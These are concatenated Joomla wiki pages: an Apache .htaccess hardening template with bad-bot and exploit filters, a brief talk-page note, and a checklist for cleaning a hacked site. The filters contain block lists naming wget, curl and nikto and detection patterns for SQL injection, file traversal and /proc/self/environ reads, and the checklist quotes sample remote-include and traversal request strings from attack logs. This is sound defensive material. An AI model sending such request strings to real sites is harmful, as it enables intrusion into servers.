RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [OR]
RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [OR]
RewriteCond %{HTTP_USER_AGENT} ^pavuk [OR]
RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [OR]
RewriteCond %{HTTP_USER_AGENT} ^RealDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^ReGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [OR]
RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Surfbot [OR]
RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [OR]
RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebAuto [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebCopier [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebFetch [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebReaper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebSauger [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebStripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Widow [OR]
RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus
## Note: The final RewriteCond must NOT use the [OR] flag.

## Return 403 Forbidden error.
RewriteRule .* - [F]
</source>

== Other useful settings ==
<source lang="apache">
ServerSignature Off
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST} (\\r|\\n|%0A|%0D) [NC,OR]

RewriteCond %{HTTP_REFERER} (<|>|’|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]
RewriteCond %{HTTP_COOKIE} (<|>|’|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]
RewriteCond %{REQUEST_URI} ^/(,|;|:|<|>|”>|”<|/|\\\.\.\\).{0,9999} [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (libwww-perl|curl|wget|python|nikto|scan) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (<|>|’|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]

#Block mySQL injects
RewriteCond %{QUERY_STRING} (;|<|>|’|”|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark) [NC,OR]

RewriteCond %{QUERY_STRING} \.\./\.\. [OR]

RewriteCond %{QUERY_STRING} (localhost|loopback|127\.0\.0\.1) [NC,OR]
RewriteCond %{QUERY_STRING} \.[a-z0-9] [NC,OR]
RewriteCond %{QUERY_STRING} (<|>|’|%0A|%0D|%27|%3C|%3E|%00) [NC]
# Note: The final RewriteCond must NOT use the [OR] flag.

# Return 403 Forbidden error.
RewriteRule .* index.php [F]
</source>

== Suggested Master htaccess file ==

This can be discussed in [http://forum.joomla.org/viewtopic.php?f=432&t=549841&start=330#p2555002 this forum topic]

'''Warning: note the hashed areas. Incorrect settings on some servers may cause 500 page errors'''

<source lang="apache">
###############################################################################
## The Master .htaccess
##
## Version 2.5 (proposed) - May 16th, 2011
##
## ----------
## This file is designed to be the template .htaccess file to put on your new
## sites, increasing your site's security and performance. It is not meant to
## be just dropped in your site, though. You should go through all of its
## sections and modify it to match your site. Most notably, all instances of
## example.com and example\.com should be replaced with your real domain name.
##
## Some sections are too picky and may cause problems with legitimate requests.
## You are ultimately responsible for disabling them or writing exception rules
## for your requests. Most notably, the advanced server protection section will
## cause issues with several minifiers, eXtplorer, VirtueMart and other exten-
## sions which use non-standard scripts as their entry points. You must add
## exceptions for them manually.
##
## Some sections - depending on your server configuration - may cause your site
## to throw 500 Internal Server Error. The only way to figure out which one is
## causing it is trial and error.
##
## Big thank you's to Brian Teeman, Ken Crowder, Radek Suski and Fotis
## Evangelou for sharing their .htaccess rules with the world and inspiring
## the creation of this file. Special thanks to Jon Brown for sharing his
## research and helping me improve this file.
##
## Additional thank-yous to John for his remarks and g1smd for taking the
## time to optimize the speed of the file.
##
## It is usually prudent to remove the comments from the file when using it
## on a live host to minimize the parsing time.
##
## ----------------------------------------------------------------------
## Do you want to customize this .htaccess file with a few clicks?
## Admin Tools Professional by AkeebaBackup.com does this and much more.
##
## Learn more: http://www.akeebabackup.com/software/admin-tools.html
## ----------------------------------------------------------------------
##
## Have fun, stay safe.
##
## Nicholas K. Dionysopoulos
## Lead Developer, AkeebaBackup.com
##
## CHANGELOG:
## Version 2.5 (proposed) (May 16th, 2011)
## - Placeholders for custom code. Correction of ruleset ordering.
## Version 2.4 (April 18th, 2011)
## - Dozens of speed optimisations and many logic and syntax corrections.
## Version 2.3 (November 18th, 2010)
## - Added .ico to the pass-through rules, for favicons to load
## Version 2.2 (October 25th, 2010)
## - Bug in the tmpl=component rule
## Version 2.1 (October 19th, 2010)
## - index.php to root redirection would kill some AJAX requests
## - Referer filtering was screwed up
## - Simplified and more thorough PHP Easter Egg code (thanks Jon!)
## - The tp/template/tmpl filter was not thorough and killed some components
## - Optimized Joomla! core SEF section
## - Bot filters and GZip optimization would never run for dynamic content
## - Content expiration optimization got more optimized
## - Added ETag rule
##
###############################################################################

########## Begin - RewriteEngine enabled
RewriteEngine On
########## End - RewriteEngine enabled

########## Begin - RewriteBase
# Uncomment following line if your webserver's URL
# is not directly related to physical file paths.
# Update Your Joomla! Directory (just / for root)

# RewriteBase /
########## End - RewriteBase

########## Begin - No directory listings
## Note: +FollowSymlinks may cause problems and you might have to remove it
IndexIgnore *
Options +FollowSymLinks All -Indexes
########## End - No directory listings

########## Begin - File execution order, by Komra.de
DirectoryIndex index.php index.html
########## End - File execution order

########## Begin - ETag Optimization
## This rule will create an ETag for files based only on the modification
## timestamp and their size. This works wonders if you are using rsync'ed
## servers, where the inode number of identical files differs.
## Note: It may cause problems on your server and you may need to remove it
FileETag MTime Size
########## End - ETag Optimization

########## Begin - Common hacking tools and bandwidth hoggers block
## By SigSiu.net and @nikosdion.
# This line also disables Akeeba Remote Control 2.5 and earlier
SetEnvIf user-agent "Indy Library" stayout=1
# WARNING: Disabling wget will also block the most common method for
# running CRON jobs. Remove if you have issues with CRON jobs.
SetEnvIf user-agent "Wget" stayout=1
# The following rules are for bandwidth-hogging download tools
SetEnvIf user-agent "libwww-perl" stayout=1
SetEnvIf user-agent "Download Demon" stayout=1
SetEnvIf user-agent "GetRight" stayout=1
SetEnvIf user-agent "GetWeb!" stayout=1
SetEnvIf user-agent "Go!Zilla" stayout=1
SetEnvIf user-agent "Go-Ahead-Got-It" stayout=1
SetEnvIf user-agent "GrabNet" stayout=1
SetEnvIf user-agent "TurnitinBot" stayout=1
# This line denies access to all of the above tools
deny from env=stayout
########## End - Common hacking tools and bandwidth hoggers block

########## Begin - Automatic compression of resources
# Compress text, html, javascript, css, xml, kudos to Komra.de
# May kill access to your site for old versions of Internet Explorer
# The server needs to be compiled with mod_deflate otherwise it will send HTTP 500 Error.
# mod_deflate is not available on Apache 1.x series. Can only be used with Apache 2.x server.
# AddOutputFilterByType is now deprecated by Apache. Use mod_filter in the future.
AddOutputFilterByType DEFLATE text/plain text/html text/xml text/css application/xml application/xhtml+xml application/rss+xml application/javascript application/x-javascript
########## End - Automatic compression of resources

########## Begin - Add optional bad user agent or IP blocking code
#
# If you need to block certain user agents or IP addresses and
# other signatures, place that code here. Ensure the rules use
# the correct RewriteRule syntax and the [F] flag.
#
########## End - Add optional bad user agent or IP blocking code

########## Begin - Rewrite rules to block out some common exploits
## If you experience problems on your site block out the operations listed below
## This attempts to block the most common type of exploit `attempts` to Joomla!
#
# If the request query string contains /proc/self/environ (by SigSiu.net)
RewriteCond %{QUERY_STRING} proc/self/environ [OR]
# Block out any script trying to set a mosConfig value through the URL
# (these attacks wouldn't work w/out Joomla! 1.5's Legacy Mode plugin)
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
# Block out any script trying to base64_encode or base64_decode data within the URL
RewriteCond %{QUERY_STRING} base64_(en|de)code[^(]*$[^)]*$ [OR]
## IMPORTANT: If the above line throws an HTTP 500 error, replace it with these 2 lines:
# RewriteCond %{QUERY_STRING} base64_encode$.*$ [OR]
# RewriteCond %{QUERY_STRING} base64_decode$.*$ [OR]
# Block out any script that includes a <script> tag in URL
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Return 403 Forbidden header and show the content of the root homepage
RewriteRule .* index.php [F]
#
########## End - Rewrite rules to block out some common exploits

########## Begin - File injection protection, by SigSiu.net
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http:// [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(\.\.//?)+ [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC]
RewriteRule .* - [F]
########## End - File injection protection

########## Begin - Basic antispam Filter, by SigSiu.net
## I removed some common words, tweak to your liking
## This code uses PCRE and works only with Apache 2.x.
## This code will NOT work with Apache 1.x servers.
RewriteCond %{QUERY_STRING} \b(ambien|blue\spill|cialis|cocaine|ejaculation|erectile)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(erections|hoodia|huronriveracres|impotence|levitra|libido)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(lipitor|phentermin|pro[sz]ac|sandyauer|tramadol|troyhamby)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(ultram|unicauca|valium|viagra|vicodin|xanax|ypxaieo)\b [NC]
## Note: The final RewriteCond must NOT use the [OR] flag.
RewriteRule .* - [F]
## Note: The previous lines are a "compressed" version
## of the filters. You can add your own filters as:
## RewriteCond %{QUERY_STRING} \bbadword\b [NC,OR]
## where "badword" is the word you want to exclude.
########## End - Basic antispam Filter, by SigSiu.net

########## Begin - Advanced server protection - query strings, referrer and config
# Advanced server protection, version 3.2 - May 2011
# by Nicholas K. Dionysopoulos

## Disallow PHP Easter Eggs (can be used in fingerprinting attacks to determine
## your PHP version). See http://www.0php.com/php_easter_egg.php and
## http://osvdb.org/12184 for more information
RewriteCond %{QUERY_STRING} \=PHP[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} [NC]
RewriteRule .* - [F]

## SQLi first line of defense, thanks to Radek Suski (SigSiu.net) @
## http://www.sigsiu.net/presentations/fortifying_your_joomla_website.html
## May cause problems on legitimate requests
RewriteCond %{QUERY_STRING} concat[^\(]*\( [NC,OR]
RewriteCond %{QUERY_STRING} union([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} union([^a]*a)+ll([^s]*s)+elect [NC]
RewriteRule .* - [F]

## Referrer filtering for common media files. Replace with your own domain name.
## This blocks most common fingerprinting attacks ;)
## Note: Change www\.example\.com with your own domain name, substituting the
## dots with \. i.e. use www\.example\.com for www.example.com
RewriteRule ^images/stories/([^/]+/)*([^/.]+\.)+(jp(e?g|2)?|png|gif|bmp|css|js|swf|ico)$ - [L]
RewriteCond %{HTTP_REFERER} .
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?example\.com [NC]
RewriteCond %{REQUEST_FILENAME} -f
RewriteRule \.(jp(e?g|2)?|png|gif|bmp|css|js|swf|ico)$ - [F]

## Disallow visual fingerprinting of Joomla! sites (module position dump)
## Initial idea by Brian Teeman and Ken Crowder, see:
## http://www.slideshare.net/brianteeman/hidden-joomla-secrets
## Improved by @nikosdion to work more efficiently and handle template
## and tmpl query parameters
RewriteCond %{QUERY_STRING} (^|&)tmpl=(component|system) [NC]
RewriteRule .* - [L]
RewriteCond %{QUERY_STRING} (^|&)t(p|emplate|mpl)= [NC]
RewriteRule .* - [F]

## Disallow access to htaccess.txt, configuration.php, configuration.php-dist and php.ini
RewriteRule ^(htaccess\.txt|configuration\.php(-dist)?|php\.ini)$ - [F]

########## End - Advanced server protection - query strings, referrer and config

########## Begin - Advanced server protection rules exceptions ####
##
## These are sample exceptions to the Advanced Server Protection 3.1
## rule set further down this file.
##
## Allow UddeIM CAPTCHA
RewriteRule ^components/com_uddeim/captcha15\.php$ - [L]
## Allow Phil Taylor's Turbo Gears
RewriteRule ^plugins/system/GoogleGears/gears-manifest\.php$ - [L]
## Allow JoomlaWorks AllVideos
RewriteRule ^plugins/content/jw_allvideos/includes/jw_allvideos_scripts\.php$ - [L]
## Allow Admin Tools Joomla! updater to run
RewriteRule ^administrator/components/com_admintools/restore\.php$ - [L]
## Allow Akeeba Backup Professional's integrated restoration script to run
RewriteRule ^administrator/components/com_akeeba/restore\.php$ - [L]
## Allow Akeeba Kickstart
RewriteRule ^kickstart\.php$ - [L]

# Add more rules to single PHP files here

## Allow Agora attachments, but not PHP files in that directory!
RewriteCond %{REQUEST_FILENAME} !(\.php)$
RewriteCond %{REQUEST_FILENAME} -f
RewriteRule ^components/com_agora/img/members/ - [L]

# Add more rules for allowing full access (except PHP files) on more directories here

## Uncomment to allow full access to the cache directory (strongly not recommended!)
#RewriteRule ^cache/ - [L]
## Uncomment to allow full access to the tmp directory (strongly not recommended!)
#RewriteRule ^tmp/ - [L]

# Add more full access rules here

########## End - Advanced server protection rules exceptions ####

########## Begin - Advanced server protection - paths and files
# Advanced server protection, version 3.2 - May 2011
# by Nicholas K. Dionysopoulos

## Back-end protection
## This also blocks fingerprinting attacks browsing for XML and INI files
RewriteRule ^administrator/?$ - [L]
RewriteRule ^administrator/index\.(php|html?)$ - [L]
RewriteRule ^administrator/index[23]\.php$ - [L]
RewriteRule ^administrator/(components|modules|templates|images|plugins)/([^/]+/)*([^/.]+\.)+(jp(e?g|2)?|png|gif|bmp|css|js|swf|html?|mp(eg?|[34])|avi|wav|og[gv]|xlsx?|docx?|pptx?|zip|rar|pdf|xps|txt|7z|svg|od[tsp]|flv|mov)$ - [L]
RewriteRule ^administrator/ - [F]

## Explicitly allow access only to XML-RPC's xmlrpc/index.php or plain xmlrpc/ directory
RewriteRule ^xmlrpc/(index\.php)?$ - [L]
RewriteRule ^xmlrpc/ - [F]

## Disallow front-end access for certain Joomla! system directories
RewriteRule ^includes/js/ - [L]
RewriteRule ^(cache|includes|language|libraries|logs|tmp)/ - [F]

## Allow limited access for certain Joomla! system directories with client-accessible content
RewriteRule ^(components|modules|plugins|templates)/([^/]+/)*([^/.]+\.)+(jp(e?g|2)?|png|gif|bmp|css|js|swf|html?|mp(eg?|[34])|avi|wav|og[gv]|xlsx?|docx?|pptx?|zip|rar|pdf|xps|txt|7z|svg|od[tsp]|flv|mov)$ - [L]
## Uncomment this line if you have extensions which require direct access to their own
## custom index.php files. Note that this is UNSAFE and the developer should be ashamed
## for being so lame, lazy and security unconscious.
# RewriteRule ^(components|modules|plugins|templates)/([^/]+/)*(index\.php)?$ - [L]
## Uncomment the following line if your template requires direct access to PHP files
## inside its directory, e.g. GZip compressed copies of its CSS files
# RewriteRule ^templates/([^/]+/)*([^/.]+\.)+php$ - [L]
RewriteRule ^(components|modules|plugins|templates)/ - [F]

## Disallow access to rogue PHP files throughout the site, unless they are explicitly allowed
RewriteCond %{REQUEST_FILENAME} \.php$
RewriteCond %{REQUEST_FILENAME} !/index[23]?\.php$
## The next line is to explicitly allow the forum post assistant(fpa-xx)script to run
RewriteCond %{REQUEST_FILENAME} !/fpa-[a-z]{2}\.php
RewriteCond %{REQUEST_FILENAME} -f
RewriteRule ^([^/]+/)*([^/.]+\.)+php$ - [F]

########## End - Advanced server protection - paths and files

########## Begin - Google Apps redirection, by Komra.de
## Uncomment the following line to enable:
# RewriteRule ^mail http://mail.google.com/a/example.com [R=301,L]
## If the above doesn't work on your server, try this:
## RewriteRule ^mail http://mail.google.com/a/example.com [R,L]
########## End - Google Apps redirection

########## Begin - Custom redirects
#
# If you need to redirect some pages, place that code here. Ensure those
# redirects use the correct RewriteRule syntax and the [R=301,L] flags.
#
########## End - Custom redirects

########## Begin - Redirect (www.)olddomain.com to www.example.com
## Note: olddomain.com is your old domain name, you want to redirect FROM,
## whereas www.example.com is the new domain name you want to redirect TO.
## Change those names to reflect your current configuration. Remember, this
## small part of the file is supposed to be placed in www.olddomain.com!
## Note: Replace [R=301,L] with [R,L] if you get error 500.
## Uncomment the following lines to enable:
# RewriteCond %{HTTP_HOST} ^(www\.)?olddomain\.com [NC]
# RewriteRule (.*) http://www.example.com/$1 [R=301,L]
## Note: The above section is only required if you are changing your domain name.
########## End - Redirect (www.)olddomain.com to www.example.com

########## Begin - Force HTTPS for certain pages
# Force the page foobar.html to run in HTTPS mode, no matter what Joomla! says.
# This is a sample redirection for foobar.html. Do note that you have to change
# www.example.com to reflect your own domain. Remember to escape the dots using
# \. in the left hand side of each rule. You need BOTH LINES PER URL for the rule
# to work.
RewriteCond %{SERVER_PORT} !^443$
## Alternatively, comment the above line and uncomment the following line:
# RewriteCond %{HTTPS} ^off$ [NC]
RewriteRule ^foobar\.html$ https://www.example.com/foobar.html [R=301,L]
## NOTE: If you get an HTTP 500 error, please swap [R=301,L] with [R,L]
# Add more rules below this line as required
########## End - Force HTTPS for certain pages

########## Begin - Redirect index.php to /
## Note: Change example.com to reflect your own domain name
RewriteCond %{THE_REQUEST} !^POST
RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/
RewriteCond %{SERVER_PORT}>s ^(443>(s)|[0-9]+>s)$
RewriteRule ^index\.php$ http%2://www.example.com/$1 [R=301,L]
## If the above line throws a 500 error, change [R=301,L] to [R,L]
########## End - Redirect index.php to /

########## Begin - Redirect non-www to www
RewriteCond %{HTTP_HOST} !^www\. [NC]
RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]
## If the above throws an HTTP 500 error, swap [R=301,L] with [R,L]
########## End - Redirect non-www to www

########## Begin - Redirect www to non-www
## WARNING: Comment out the non-www to www rule if you choose to use this
# RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]
# RewriteRule ^(.*)$ http://%1/$1 [R=301,L]
## If the above throws an HTTP 500 error, swap [R=301,L] with [R,L]
########## End - Redirect non-www to www

########## Begin - Custom internal rewrites
#
# If you need to internally rewrite some specific URL requests,
# place that code here. Ensure those internal rewrites use the
# correct RewriteRule syntax without domain name and with [L] flag.
#
########## End - Custom internal rewrites

########## Begin - Joomla! core SEF Section
#
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
#
# If the requested path and file is not /index.php and the request
# has not already been internally rewritten to the index.php script
RewriteCond %{REQUEST_URI} !^/index\.php
# and the request is for the site root, or for an extensionless URL,
# or the requested URL ends with one of the listed extensions
RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|vcf|raw|ini|zip|json|file))$ [NC]
# and the requested path and file doesn't directly match a physical file
RewriteCond %{REQUEST_FILENAME} !-f
# and the requested path doesn't directly match a physical folder
RewriteCond %{REQUEST_FILENAME} !-d
# internally rewrite the request to the index.php script
RewriteRule .* index.php [L]
#
########## End - Joomla! core SEF Section

########## Begin - Optimal default expiration time
## Note: this might cause problems and you might have to comment it out by
## placing a hash in front of this section's lines
<IfModule mod_expires.c>
# Enable expiration control
ExpiresActive On

# Default expiration: 1 hour after request
ExpiresDefault "now plus 1 hour"

# CSS and JS expiration: 1 week after request
ExpiresByType text/css "now plus 1 week"
ExpiresByType application/javascript "now plus 1 week"
ExpiresByType application/x-javascript "now plus 1 week"

# Image files expiration: 1 month after request
ExpiresByType image/bmp "now plus 1 month"
ExpiresByType image/gif "now plus 1 month"
ExpiresByType image/jpeg "now plus 1 month"
ExpiresByType image/jp2 "now plus 1 month"
ExpiresByType image/pipeg "now plus 1 month"
ExpiresByType image/png "now plus 1 month"
ExpiresByType image/svg+xml "now plus 1 month"
ExpiresByType image/tiff "now plus 1 month"
ExpiresByType image/vnd.microsoft.icon "now plus 1 month"
ExpiresByType image/x-icon "now plus 1 month"
ExpiresByType image/ico "now plus 1 month"
ExpiresByType image/icon "now plus 1 month"
ExpiresByType text/ico "now plus 1 month"
ExpiresByType application/ico "now plus 1 month"
ExpiresByType image/vnd.wap.wbmp "now plus 1 month"
ExpiresByType application/vnd.wap.wbxml "now plus 1 month"
ExpiresByType application/smil "now plus 1 month"

# Audio files expiration: 1 month after request
ExpiresByType audio/basic "now plus 1 month"
ExpiresByType audio/mid "now plus 1 month"
ExpiresByType audio/midi "now plus 1 month"
ExpiresByType audio/mpeg "now plus 1 month"
ExpiresByType audio/x-aiff "now plus 1 month"
ExpiresByType audio/x-mpegurl "now plus 1 month"
ExpiresByType audio/x-pn-realaudio "now plus 1 month"
ExpiresByType audio/x-wav "now plus 1 month"

# Movie files expiration: 1 month after request
ExpiresByType application/x-shockwave-flash "now plus 1 month"
ExpiresByType x-world/x-vrml "now plus 1 month"
ExpiresByType video/x-msvideo "now plus 1 month"
ExpiresByType video/mpeg "now plus 1 month"
ExpiresByType video/mp4 "now plus 1 month"
ExpiresByType video/quicktime "now plus 1 month"
ExpiresByType video/x-la-asf "now plus 1 month"
ExpiresByType video/x-ms-asf "now plus 1 month"
</IfModule>
########## End - Optimal expiration time
</source>

== External links ==
[http://perishablepress.com/press/tag/htaccess/ .htaccess tag archive @ perishablepress.com]

[http://akeeba.assembla.com/code/master-htaccess/git/nodes/htaccess.txt Proposed "master htaccess" (updated by Nicholas on April 24th 2011 to v3.3) DO read the intro by Nicholas!]
[[Category:Security]]

The original file contains a number of syntax errors, several rules that can never work, and a number of expressions that can be more efficiently coded.

Bugs and enhancements originally discussed at: http://forum.joomla.org/viewtopic.php?f=432&t=549841

Discussion also at: http://snipt.net/nikosdion/the-master-htaccess/ and http://snipt.net/g1smd/joomla-patch/

The new proposed file: http://code.google.com/p/joomla-master-htaccess/source/list and at: http://akeeba.assembla.com/code/master-htaccess/git/node/logs

The changes explained, line by line:
http://codereview.appspot.com/4312049/diff/1/joomla-master-htaccess.txt
http://codereview.appspot.com/4290071/diff/1/joomla-master-htaccess.txt
http://codereview.appspot.com/4290071/diff/8001/joomla-master-htaccess.txt
http://codereview.appspot.com/4370051/diff/3/joomla-master-htaccess.txt
http://codereview.appspot.com/4314051/diff/1001/joomla-master-htaccess.txt
http://codereview.appspot.com/4430062/diff/1/joomla-master-htaccess.txt
http://codereview.appspot.com/4528051/diff/1/joomla-master-htaccess.txt

User talk:Phild

2013-06-13T10:59:25Z

Phild:

Hi Phil, I finally had some time to come up with an archive solution for [[Moving sensitive files outside the web root]]. I used your reason on the page and provided links to other articles. Someone can still see the original page by clicking on the '''click here''' link in the page which is the last revision with all the information in it. Hope that's what you had in mind. Take care [[User:Hutchy68|Tom Hutchison]] ([[User talk:Hutchy68|talk]]) 07:00, 26 November 2012 (CST)

== Archiving the VEL ==

Hi Phil

Hope you're doing great. As you may have noticed, there are lots of changes going on around the wiki. We eventually will be moving the VEL list of Extension over to the Archived namespace now that you guys have your own subdomain. Congratulations on that too! It will look like this page at the top, [[Archived:Joomla! 1.6 Development Status]]. It creates a more prominent, this page is archived, don't rely on it for information. Because it is a move, I will leave a redirect in place which will forward any links to the original VEL page to the Archived page. Take care [[User:Hutchy68|Tom Hutchison]] ([[User talk:Hutchy68|talk]]) 17:04, 12 June 2013 (CDT)

Ok, That looks and sounds good to me. Thanks for the update!

Security Checklist/You have been hacked or defaced

2013-06-12T16:10:42Z

Phild: /* On Line Action List */

{{:Security Checklist/TOC}}
== You have been hacked/defaced ?==
We are sorry for any basic language used in this document.
Before you post in the Joomla! Security Forum [http://forum.joomla.org/viewtopic.php?f=432&t=475313 please read this] checklist summary, then use it as a post template.

=== On Line Action List===
* Take your [[Taking_the_website_temporarily_offline#Using the htaccess method (cpanel)|website offline]] ('''We recommend the htaccess method''')

* Run the [https://github.com/ForumPostAssistant/FPA/zipball/en-GB forum post assistant and security tool] The simple Instructions are [http://forum.joomla.org/viewtopic.php?f=621&t=582860 available here]. More detailed instructions are included in the download package. You will need to unzip this package and upload the fpa-en.php file to your server Joomla root The FPA is also [https://github.com/ForumPostAssistant/FPA/tarball/en-GB available in a tar.gz package] for those who desire or need a unix style package. The fpa-en.php file from the package will need to be uploaded to your server Joomla root.

* Scan all machines with FTP, Joomla super admin, and Joomla admin access for malware, virus, trojans, spyware, etc. (see [[#Local_Security|Local Security]] below)

* Ensure you have downloaded the '''latest version''' of [http://www.joomla.org/download.html Joomla] for the series of Joomla used on the site. (see [[#incompatible_versions|Incompatible Versions]] below)

* '''Notify your host''' and work with them to clean up the site, and to make sure there are no back doors to your site.

* Review [http://vel.joomla.org/ Vulnerable Extensions List] to see if you have any vulnerable extensions and deal with them. A clue to any extensions being targeted is your logs file. Here is an example of what to look for,
<pre>//administrator/components/com_extension/admin.extension.php?mosConfig.absolute.path=http:</pre>
or
<pre>../../../../../../../../../../../../../../../../proc/self/environ</pre>

* Review and action [[Security Checklist]] to make sure you've gone through all of the steps (please note some steps are optional, but please review them all).

* '''Change all passwords''' and if possible user names for the domains control panel, mysql, FTP, [[Why_should_you_immediately_change_the_name_of_the_default_admin_user%3F|Joomla! Super Admin]], and Joomla! Admin password; do change them often. Passwords should be at least 12 mixed alphanumeric characters and contain no common word phrases.
* Do not use the standard Admin user, [[Why_should_you_immediately_change_the_name_of_the_default_admin_user%3F|disable it]]. If you need to reset your admin password, see [[How_do_you_recover_your_admin_password%3F|these instructions]].

* '''Delete and Replace''' all templates and files with clean copies,
* '''Check''' and/or replace all .pdf, image, photo files for exploits. Delete any that are suspicious
* Check you server logs for IP's calling suspicious files or attempting POST commands to non-form's
* Use proper permissions on files and directories. They '''should never be 777<ref>Permissions should never be 777</ref>, but ideal is 644 for files and 755 folders'''.
* Disable [http://docs.cpanel.net/twiki/bin/view/AllDocumentation/CpanelDocs/AnonymousFTP anonymous] FTP

== chmod and cron ==

IF you have permissions to access SSH (secure shell) via putty you can chmod the files and directories.
If you do not have shell access, you can run the commands from [http://en.wikipedia.org/wiki/Cron cron] by setting up a temporary cron job. Copy and paste the command into a cron job. Run the job about 2 minutes after saving the job.
When using the command by putty or a cron job, the use of the full physical path to public_html is recommended for best results.

For files use:

<pre>find /home/xxxxxx/domains/xxxxxxx.com/public_html -type f -exec chmod 644 {} \;</pre>

and for directories use:

<pre>find /home/xxxxxx/domains/xxxxxxx.com/public_html -type d -exec chmod 755 {} \;</pre>

=== Monitoring for File Changes ===
To check for recent file changes on your system use these commands from putty (SSH - secure shell) or via a cron job.
If you run the command from a cron job you can schedule it to check for changed files several times each day.
Results will be sent to the domain account owner and show the time/date stamp for any changed files.
When using the command by putty or a cron job, the use of the full physical path to public_html is recommended
for best results.

<pre>find /home/xxxxxx/domains/xxxxxxx.com/public_html -type f -ctime -1 -exec ls -ls {} \;</pre>

Please note your sites files may be located in public_html, httpdocs, www, or a similar place, and your physical path may also be different than in the examples. Adjust the physical path accordingly.

== 777 Permissions ==
'''If''' the server your are on requires 777 permissions for Joomla to work correctly,
then''' request to be put on another server''' with php as cgi and suphp and up-to-date
serverside software (apache, php etc) on your existing host or find another server host if necessary.

To protect directories that seemed to need 777 permissions to run or as a default in your images/media folder try this code within a .htaccess file within the open folder.
<pre># secure directory by disabling script execution
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
Options -ExecCGI</pre> especially in your images folder
* Make sure that is in a htaccess file in a directory that will not run any scripts or remove the extensions as required

Do check with your hosting provider to see if they have purposely secured the server your site is on; and that they '''or you''' perform regular (weekly) security updates to keep the server up to date.
Check you have jail shell.
A rule of thumb is the less you pay, the less they care

== A Safe route for disaster relief ==
* save the configuration.php file and your images and personal files one by one, (not the folder as it may contain unwanted files)
* wipe the entire folder where Joomla! is installed
* upload a new clean full package latest version of joomla 1.5.x or Joomla 2.5.x (minus the install folder)<ref>Incompatible Versions</ref>
* reupload your configuration file & images.
* reupload or reinstall the latest versions of your extensions , templates (even better is to use original clean copies to ensure that the hacker/defacer did not leave any shell script files in your site)

To do this will take your site off line for around 15 minutes. To track down your hacked/defaced html may take hours or even longer.

=== Local Security ===

* Don't store user name/password in ftp program
** Use a password manager such as the free [http://keepass.info/ keepass]

